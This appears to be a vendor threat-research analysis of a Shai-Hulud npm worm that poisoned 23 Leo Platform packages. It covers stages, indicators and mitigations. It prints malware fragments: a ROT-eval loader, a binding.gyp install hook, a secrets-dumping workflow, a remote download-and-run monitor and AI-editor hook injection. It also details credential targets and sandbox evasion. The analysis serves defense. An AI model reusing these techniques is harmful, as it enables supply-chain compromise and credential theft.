On June 24, 2026, an attacker used a stolen npm token belonging to maintainer czirker to publish 23 poisoned versions across the Leo Platform JavaScript ecosystem in a six-second burst. Each package ships a 5 MB obfuscated worm in index.js, triggers it through a preconfigured binding.gyp file with no lifecycle scripts, repoints the latest dist-tag away from clean 7.x releases, unpacks thirteen embedded secondary tools, and steals cloud credentials, password managers, Anthropic API keys, and masked GitHub Actions secrets before exfiltrating them through a GitHub staging-repo factory, commit dead drops, and multi-registry worm propagation.
Overview
Leo Platform (leoplatform.io) is a streaming data pipeline used by CommerceHub and related e-commerce integrations. Its npm packages (leo-sdk, leo-aws, leo-cli, and 20 siblings) accumulated roughly 52,640 monthly downloads before the compromise.
At 23:04:52–23:04:58 UTC on June 24, 2026, all 23 packages under maintainer czirker received new versions within a six-second window. None of the poisoned releases contain a preinstall, install, or postinstall script in package.json. Static analysis confirms the attacker instead added a binding.gyp that executes node index.js during native addon compilation, and replaced each package's index.js (normally ~10 KB) with a 5.18 MB obfuscated payload.
The most dangerous supply-chain detail is dist-tag manipulation: leo-sdk's latest tag now resolves to malicious 6.0.19, while the legitimate 7.1.21 release remains available only under the awsv3 tag. Any project running npm install leo-sdk without an explicit version pin received the worm.
Organizations that installed any affected version should rotate npm, GitHub, cloud, Vault, RubyGems, PyPI, and Anthropic credentials immediately, audit repositories for injected GitHub Actions workflows, hunt for new public repos whose description reads Alright Lets See If This Works, and inspect AI-assistant hook files under .claude/, .cursor/, .vscode/, and .github/copilot-instructions.md.
Affected Packages
All 23 malicious versions share the same publish timestamp cluster (2026-06-24T23:04:52–58Z) and the same maintainer account (czirker, CZirker@commercehub.com). Clean leo-sdk releases in the 7.x line (7.1.17 through 7.1.21, last published June 12, 2026) were not modified. Only the latest dist-tag was redirected.
How the Attack Works
End-to-end chain
Static deobfuscation of leo-sdk@6.0.19 maps to six operational stages shared across all 23 poisoned packages.
- Stage 0: binding.gyp + index.js ROT(N) → install-time / require-time entry point
- Stage 1: AES-128-GCM _b blob (907 B) → Bun v1.3.13 bootstrap
- Stage 2: AES-128-GCM _p blob (781 KB) → obfuscator.io stealer + L8-encrypted strings
- Stage 3: vJ() orchestrator → harvest → exfil → worm modules
- Stage 4: B1() embedded payloads (×13) → c6.py, GitHub workflows, IDE hooks
- Stage 5: four GitHub paths → staging repos, victim-repo worm, dead drops, signed RCE
- Stage 6: c6.py + l6.sh → firedalazer commit monitor + OS persistence
- Stage 6b: firedalazer commit → setup.py → downloads second-stage index.js (l3v1cs)
Trigger chain
The infection uses two independent execution paths. Neither path appears in package.json scripts, which is why scanners that only inspect lifecycle hooks miss it.
- Path A (install-time): npm install leo-sdk@6.0.19 → binding.gyp present → node-gyp rebuild → shell runs node index.js
- Path B (require-time): the application later calls require('leo-sdk') → the index.js ROT-eval IIFE fires on import
- Both paths converge: AES-128-GCM decrypt _b + _p blobs → write /tmp/p<random>.js, bun run, self-delete → vJ(): harvest → U8 exfil → G4 worm → eQ/c6 persistence
Stage 0: the loader
leo-sdk@6.0.19/index.js is 5,188,098 bytes. The clean leo-sdk@7.1.21/index.js is 10,245 bytes. The malicious file is a single line starting with a ROT cipher wrapper:
try {
eval(function(s, n) {
return s.replace(/[a-zA-Z]/g, function(c) {
var b = c <= "Z" ? 65 : 97;
return String.fromCharCode((c.charCodeAt(0) - b + n) % 26 + b)
})
}([40, 99, 117, 97, 112, 101, ...].map(String.fromCharCode).join(""), 24))
} catch (e) {}The rotation constant differs per package (N=24 for leo-sdk, N=23 for leo-aws), but both decode to the same 1,566,023-byte intermediate layer. That layer contains an AES-128-GCM wrapper with two encrypted blobs: a 907-byte Bun bootstrap (_b) and a 781,580-byte main stealer (_p). The bootstrap writes the main script to /tmp/p<random>.js, executes it with bun run, and deletes the temp file.
The poisoned package.json also adds a fake runtime dependency not present in clean releases:
"bun": "^1.3.13"
Clean leo-sdk@7.1.21 has no bun entry in dependencies.
Stage 0b: binding.gyp install hook (no scripts required)
Every poisoned package ships this binding.gyp:
{
"targets": [{
"target_name": "nothing",
"type": "none",
"sources": ["<!(node index.js > /dev/null 2>&1 && echo stub.c)"]
}]
}When npm encounters binding.gyp in a package root, it invokes node-gyp rebuild during install. The <!(...)> syntax runs a shell command at compile time. Here that command executes the entire 5 MB index.js payload and redirects output to /dev/null. Clean Leo Platform packages do not ship a binding.gyp file at all.
This technique fires even when package.json contains zero lifecycle scripts, evading rule sets that only flag preinstall/postinstall entries. It also bypasses npm install --ignore-scripts, which suppresses lifecycle hooks but not node-gyp rebuild when binding.gyp is present.
A second path fires on require('leo-sdk'): the ROT IIFE at the top of index.js executes at module load even if node-gyp never ran. Both paths converge on the same AES decrypt → Bun bootstrap chain.
Cross-package consistency. All 23 poisoned packages decode to the same 1,566,023-byte intermediate layer and the same 781,580-byte final stealer (_p). Only the outer ROT constant differs (N=24 for leo-sdk, N=23 for leo-aws). leo-aws@2.0.4/index.js is 5,285,405 bytes, same payload, different wrapper.
Stage 1: Bun bootstrap
The decrypted _b blob installs globalThis.getBunPath(), which caches a Bun v1.3.13 binary under $TMPDIR/b-*/bun or downloads it from https://github.com/oven-sh/bun/releases/download/bun-v1.3.13/bun-<os>-<arch>.zip. The architecture matches every Shai-Hulud wave since September 2025.
Stage 2: AES decryption and obfuscated stealer
Inside the ROT layer, an async IIFE imports node:crypto and decrypts two hex-encoded AES-128-GCM blobs via function _d():
The _p blob expands through obfuscator.io string rotation (offset 351, bootstrap sum target 0x7b727 = 505,639 string-array entries) and a custom L8 cipher:
Sensitive strings (C2 markers, API endpoints, file paths) pass through globalThis.fb12914b2, which wraps the custom L8 cipher. Key operational strings recovered from the decoded stealer layer:
Plaintext grep of the obfuscated bundle misses these strings because they are L8-encrypted at rest. The sibling l3v1cs/Html-Bootstrap-TinDog build uses the same toolchain with different AES keys; its _p blob was not fully decrypted in this session (ROT layer only, N=14).
Stage 3: main orchestrator (vJ())
The stealer entry point calls vJ() at module load. The function runs this sequence:
- H3(), normalize proxy environment variables for exfil routing across CI platforms.
- W2() / V3(), enumerate credential providers (AWS, Azure, GCP, GitHub Actions OIDC, GitLab, Vault, npm tokens).
- U3(), build outbound exfil senders; for GitHub this resolves to class U8 via k6.tryCreate().
- q5(), fire-and-forget search for TheBeautifulSandsOfTime commits, RSA-verify with embedded i6.pem, eval() signed JavaScript.
- Y3(), dispatch harvested credentials through the sender pipeline (U8.send() → commitToRepo()).
- rX() / aX(), assemble and parallel-execute action modules.
If the primary path throws, fallback module set V6() always runs: rQ (recon), eQ (deploys c6.py), X6 (IDE hooks), r4 (npm worm), Q6 (GitHub Actions OIDC → PAT exchange).
Credential harvest classes (parallel collectors invoked from W2() / V3() / rX()):
Stage 4: thirteen embedded payloads (B1())
Each payload: B1(l8_decode(key), base64_ciphertext) → AES-128-GCM → gzip decompress. The thirteen extracted payloads:
\*Content is Node ESM despite .py extension in the embedded variable name.
The worm injects IDE hooks from this set into victim repositories:
var KW = [
{ path: ".vscode/tasks.json", content: s6 },
{ path: ".claude/" + w1, content: '' }, // empty index.js placeholder
{ path: ".claude/settings.json", content: F8 },
{ path: ".claude/setup.mjs", content: K8 },
{ path: ".vscode/setup.mjs", content: K8 },
];Embedded workflow d6.yml exfiltrates all repository secrets to a GitHub Actions artifact (triggered on deployment events):
name: Run Copilot
env:
VARIABLE_STORE: ${{ toJSON(secrets) }}
steps:
- run: echo "$VARIABLE_STORE" > format-results.txt
- uses: actions/upload-artifact@bbbca2ddaa5d8feaa63e36b76fdaad77386f024fStage 5: four parallel GitHub paths
The payload implements four distinct GitHub behaviors. Conflating them causes missed detections.
- Call chain: vJ() → U3(harvested credentials) → k6.tryCreate()
- configureGit() → PAT from harvest (ghp_ / GITHUB_TOKEN)
- setupGitHubSender() → new U8()
- U8.initialize() → J3(): POST /user/repos (staging-repo factory)
- U8.send() → commitToRepo(): PUT results/*.json
Path A, Staging repo factory (U8 / J3 / TJ). When a stolen PAT has repo scope, U8.initialize() calls J3() which posts to /user/repos:
body: JSON.stringify({
name: TJ(), // infernal-persephone-52335
private: false,
auto_init: true,
description: fb12914b2(lookup(0x8e0)), // "Alright Lets See If This Works"
has_discussions: false,
has_issues: false,
has_wiki: false,
})TJ() naming. Picks one word from each L8 list plus random integer 0–99999:
- q3 adjectives: stygian, tartarean, erebean, infernal, chthonic, cimmerian, thanatic, funereal, …
- G3 figures: cerberus, charon, tartarus, erebus, persephone, acheron, styx, phlegethon, cocytus, …
GitHub's auto_init creates the README with the description as body text, this is why live repos show # infernal-persephone-52335 followed by Alright Lets See If This Works in the README without any separate README edit. U8.commitToRepo() uploads stolen JSON to results/results-{timestamp}-{counter}.json. Commit message is RevokeAndItGoesKaboom:{base64_pat} when a token is embedded, otherwise Add files. Payloads over 30 MB split into results-*.json.p1, .p2, …
GitHub search returned 461 repos with this description on June 25, 2026, nearly all under services-admin-pearhealthlabs (PearHealth Labs service account, GitHub org ID 165099819). infernal-persephone-52335 was created 2026-06-25T10:07:29Z with Initial commit followed by Add files. three seconds later. Older repos cimmerian-acheron-94081 (commit b857bf1, 2026-06-24T09:39Z) and thanatic-phlegethon-58543 (commit 92e317f, 2026-06-24T09:33Z) use the same description but exfil commits with RevokeAndItGoesKaboom:… instead.
Path B, Victim-repo worm (G4). Class G4 modifies existing repositories the token can write to. It injects:
- .github/setup.js and .github/workflows/ (Dependabot disguise + Run Copilot secrets dump)
- .cursor/rules/setup.mdc, .cursorrules
- .claude/settings.json, .claude/setup.mjs, empty .claude/index.js
- .vscode/tasks.json, .vscode/setup.mjs
- .gemini/settings.json, .github/copilot-instructions.md
- Updates to Makefile and root package.json (monorepo scan via eW dirs: packages, libs, apps, plugins)
Commits use message chore: update dependencies, author github-actions@github.com, and a skip-checks:true trailer. G4 does not modify README.md or set repo descriptions, that behavior is exclusive to Path A.
Path C, PAT recovery dead drop (V5 / A4). The stealer searches public commits for RevokeAndItGoesKaboom:{base64}, decrypts embedded PATs with AES key X9, and selects the token with best API rate-limit headroom (requires ≥200 remaining). This closes the loop: one victim's exfil commit becomes the next victim's publishing token. First dead-drop commits appeared ~13 hours before the npm burst (2026-06-24T09:33–09:39Z vs 23:04Z).
Path D, Signed RCE (q5 / W5 / t6). Async function q5() searches commits for TheBeautifulSandsOfTime, verifies RSA signatures against i6.pem, and eval() the message body. Verification regex in g3():
/thebeautifulsnadsoftime ([A-Za-z0-9+/=]{1,30})\.([A-Za-z0-9+/=]{1,700})/The intentional typo snadsoftime (search uses TheBeautifulSandsOfTime, extract uses lowercase typo) evades naive YARA. mJ (thebeautifulmarchoftime) is declared but never called in leo-sdk, a prior-wave holdover.
Exfiltration into existing repos also uses GitHub GraphQL (BatchedCreateCommitOnBranch, pushChunked, pushBatched) with hybrid encryption: JSON → gzip → AES session key → RSA-OAEP wrap with o6.pem.
Stage 6: persistence and the firedalazer → setup.py chain
This stage is separate from the main JavaScript exfil thread. Module eQ (in the V6() fallback set) deploys a long-running Python monitor that polls GitHub for operator commands and downloads a remote setup.py stager.
Step 6a, deploy c6.py and install persistence. Class eQ skips execution if EDR processes are detected (p0()). Otherwise it writes embedded c6.py to a temp directory, spawns python3 -s -- c6.py, and pipes embedded l6.sh on stdin. Script l6.sh registers a systemd unit (Linux) or launchd plist (macOS) so the monitor survives reboot.
Step 6b, poll GitHub for firedalazer. Every hour (POLL_INTERVAL_SECONDS = 3600), c6.py calls the GitHub commit search API:
GET https://api.github.com/search/commits?q=firedalazer&sort=committer-date&order=desc&per_page=1Step 6c, parse and verify the command. Commit messages must match:
firestorm <base64_url>.<base64_rsa_signature>The monitor base64-decodes the URL, RSA-verifies the signature against an embedded public key (PSS-SHA256), and deduplicates executed URLs via state file /var/tmp/.gh_update_state.
COMMAND_PATTERN = r"firestorm\s+([A-Za-z0-9+/=]+)\.([A-Za-z0-9+/=]+)"
def process_latest_commit(self):
commits = self._search_github_commits() # q=firedalazer
parsed = self._parse_commit_message(commit_msg)
url = base64.b64decode(parsed["url_b64"]).decode("utf-8")
if self._verify_signature(...):
self._download_and_execute(url)Step 6d, download and run setup.py. _download_and_execute() fetches the decoded URL with requests.get, writes the response body to a temp .py file, and runs python3 on it. This is how the worm pulls down the next stage without hardcoding a C2 domain in the npm payload.
Live infrastructure documented during analysis (IOC only, not executed):
Step 6e, setup.py fetches second-stage JavaScript. The downloaded setup.py is a PyPI-style dropper: at install/runtime it fetches a remote index.js from the same GitHub repository (l3v1cs/Html-Bootstrap-TinDog). That index.js is another Shai-Hulud build using the same ROT → AES-128-GCM _b/_p wrapper, but with different keys and rotation constant (N=14 vs N=24 in leo-sdk). Static analysis of the fetched file confirmed the familiar obfuscated stealer structure (~780 KB) without executing it.
The Leo Platform npm wave embeds the c6.py monitor inside the main payload via eQ, so a single npm install leo-sdk@6.0.19 can trigger both the immediate JavaScript stealer (Stages 0–5) and the persistent Python stager that later downloads setup.py.
- eQ.execute(): writes c6.py, runs python3 c6.py (pipes l6.sh on stdin → systemd/launchd persistence)
- c6.py hourly poll loop: search commits for firedalazer → parse firestorm <b64_url>.<b64_sig> → RSA verify → GET url
- Fetch + chain: setup.py (l3v1cs/Html-Bootstrap-TinDog) → download index.js → ROT(14) → AES _p → second stealer instance
Persistence paths written by l6.sh / n6.sh:
- ~/.local/share/updater/update.py
- ~/.local/bin/gh-token-monitor.sh
- /var/tmp/.gh_update_state
Stage 5b: multi-registry worm propagation
After credential harvest, modules r4 and Q6 republish poisoned packages on npm, RubyGems, and PyPI:
PyPI propagation uses M0.js as an inline .pth bootstrap. Poisoned PyPI wheels can receive Sigstore signatures via fulcio.sigstore.dev / rekor.sigstore.dev with SLSA provenance headers (slsa.dev/provenance/v1, in-toto.io/Statement/v1) for plausible provenance metadata.
The worm also injects a fake Dependabot workflow into victim repos:
name: Dependabot Updates
run-name: Dependabot Updates
steps:
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd
- uses: oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6
with:
run: bun run _index.jsWhat the payload steals: seven exfiltration channels
The stealer runs collectors beyond baseline GitHub/npm/AWS theft. Channels operate in parallel and feed into U8.send() / GraphQL exfil:
Cloud provider credentials cover AWS (including IMDSv2 at 169.254.169.254, ECS at 169.254.170.2, and web-identity tokens), Azure (tenant/client secrets, federated tokens, Key Vault via management.azure.com, scopes vault.azure.net/.default), and GCP (service account keys, workload identity, instance metadata at metadata.google.internal, ADC at ~/.config/gcloud/application_default_credentials.json).
GitHub token harvest. Patterns: ghp_, gho_, github_pat_, github_pat_11A. Environment: GITHUB_TOKEN, GITHUB_REPOSITORY, GITHUB_SHA, GITHUB_RUN_ID, GITHUB_REF, GITHUB_SERVER_URL, GITHUB_WORKFLOW_REF, GITHUB_REPOSITORY_ID, GITHUB_REPOSITORY_OWNER_ID, GITHUB_RUN_ATTEMPT, GITHUB_EVENT_NAME, ACTIONS_ID_TOKEN_*.
Kubernetes / Vault. Service account token at /var/run/secrets/kubernetes.io/serviceaccount/token; Vault token paths include /home/runner/.vault-token, /run/secrets/VAULT_TOKEN, /vault/token, /.vault-token; auth endpoints /v1/auth/kubernetes/login, http://127.0.0.1:8200.
GCP Secret Manager scraping (new in this wave). After obtaining a cloud-platform OAuth scope, the payload enumerates projects through cloudresourcemanager.googleapis.com/v1/projects, lists secrets via secretmanager.googleapis.com/v1/projects/{id}/secrets, and reads each secret's latest version. Requests spoof the legitimate header google-api-nodejs-client/7.0.0 gl-node/20.11.0 gccl/7.0.0.
Anthropic API key theft (new in this wave). The stealer reads ANTHROPIC_API_KEY from the environment and scans ~/.claude.json, ~/.claude/*, ~/.claude/projects/*, and ~/.claude/mcp.json. Target endpoint api.anthropic.com (L8 index 0x865). This targets developers who use Claude Code alongside Leo Platform infrastructure code.
Password manager collection. Dedicated functions harvest 1Password (collectOnePassword), Bitwarden (collectBitwarden, unlockBitwarden), and HashiCorp Vault mount paths (collectFromMount, listMounts against /v1/sys/mounts).
GitHub Actions masked-secret recovery. Class v6 finds the Runner.Worker process on Linux GHA runners, then dumpMemory() pipes embedded p6.py (with PID substituted) to read /proc/{pid}/mem, extracting secrets that GitHub Actions masks in workflow logs ("isSecret":true entries in runner process JSON). Log redaction does not protect values still resident in the runner's address space.
Filesystem sweep (D6). Platform-specific glob lists target 70+ credential paths including ~/.aws/*, ~/.ssh/id_*, ~/.kube/config, ~/.npmrc, ~/.pypirc, ~/.terraform.d/credentials.tfrc.json, ~/.config/gcloud/*, .env variants, VPN configs, cryptocurrency keystores (~/.ethereum/keystore/*, ~/.monero/*), messaging apps (Signal, Telegram, Discord, Slack), and shell history (~/.bash_history, ~/.zsh_history). Decoy filters skip AKIAIOSFODNN7EXAMPLE and strings containing fake, decoy, honeypot.
Embedded SSH key blob. L8 index 0x55a contains a ~4 KB base64 blob decoding to an encrypted RSA private key, likely for SSH-based exfiltration or lateral movement via /tmp/.sshu- temp sockets (purpose not fully traced statically).
AI coding assistant persistence. The worm modifies project files to re-execute on every IDE session:
Hook payloads chain through dropped installers: Claude SessionStart runs node .github/setup.js; VS Code folderOpen runs node .claude/setup.mjs; injected workflows run bun run _index.js. K8/setup.mjs downloads Bun 1.3.14 if needed, then executes the repo worm payload, ensuring reinfection when a developer opens the repository in any supported AI editor.
Detection evasion
The payload aborts when it detects StepSecurity analysis sandboxes (harden-runner, stepsecurity.io, repository actions-security-demo/compromised-packages). Class v6.detectHardenRunner() also triggers early exit via R1(). It writes decoy credentials (ghp_decoyGitHubToken, npm_F4k3NPMToken, sk-ant-api03-fake, AKIAFAKE) into staging repos to poison automated scanners. Exfiltration commits use benign-sounding messages and spoofed github-actions authorship. A date filter ignores repository activity before 2026-01-01T00:00:00Z. EDR process detection in p0() skips eQ/D6/v6 execution when security tools are present.
Indicators of Compromise
Actionable indicators for detection rules and threat hunting. Legitimate service endpoints the malware calls (GCP APIs, PyPI, npm registry, Anthropic) are omitted, they generate high false-positive rates and belong in behavioral analytics, not static IOC feeds.
Mitigation
- Pin Leo Platform packages to known-clean versions. For leo-sdk, use 7.1.21 (tag awsv3) or an explicit 7.x pin. Do not rely on the latest tag.
- Rotate npm tokens for all maintainers on the Leo Platform scope, especially czirker and zirkerc.
- Rotate GitHub PATs, PyPI tokens, RubyGems keys, AWS/Azure/GCP credentials, Vault tokens, and Anthropic API keys on any host that ran npm install against these packages.
- Hunt repositories for binding.gyp files containing node index.js, workflows named Dependabot Updates or Run Copilot with pinned SHAs de0fac2e or 0c5077e51419868618aeaa5fe8019c62421857d6, commits containing skip-checks:true, and AI hook files under .cursor/, .claude/, or .vscode/.
- Search GitHub org repos for commit messages starting with RevokeAndItGoesKaboom:, repository descriptions containing Alright Lets See If This Works or Hades - The End for the Damned, and unexpected public repos matching {greek-adjective}-{greek-name}-{5digits}.
- Check CI runner filesystem for persistence paths: ~/.local/share/updater/update.py, ~/.local/bin/gh-token-monitor.sh, /var/tmp/.gh_update_state.
Conclusion
Shai-Hulud is not a one-off incident, it is a campaign that keeps coming back. The same operators and the same core toolchain have surfaced across at least three waves in two months. Each iteration keeps the load-bearing machinery intact - Bun bootstrap, AES-128-GCM _b/_p wrapper, GitHub commit-search C2, Greek-underworld repo naming, oven-sh/setup-bun workflow injection, multi-registry propagation - and rotates only the surface: a fresh C2 marker (TheBeautifulSandsOfTime, then DontRevokeOrItGoesBoom, now RevokeAndItGoesKaboom), a new ecosystem, and a few new capabilities bolted on.
What's next?
When you're ready to take the next step in securing your software supply chain, here are 3 ways Endor Labs can help:
.jpg)







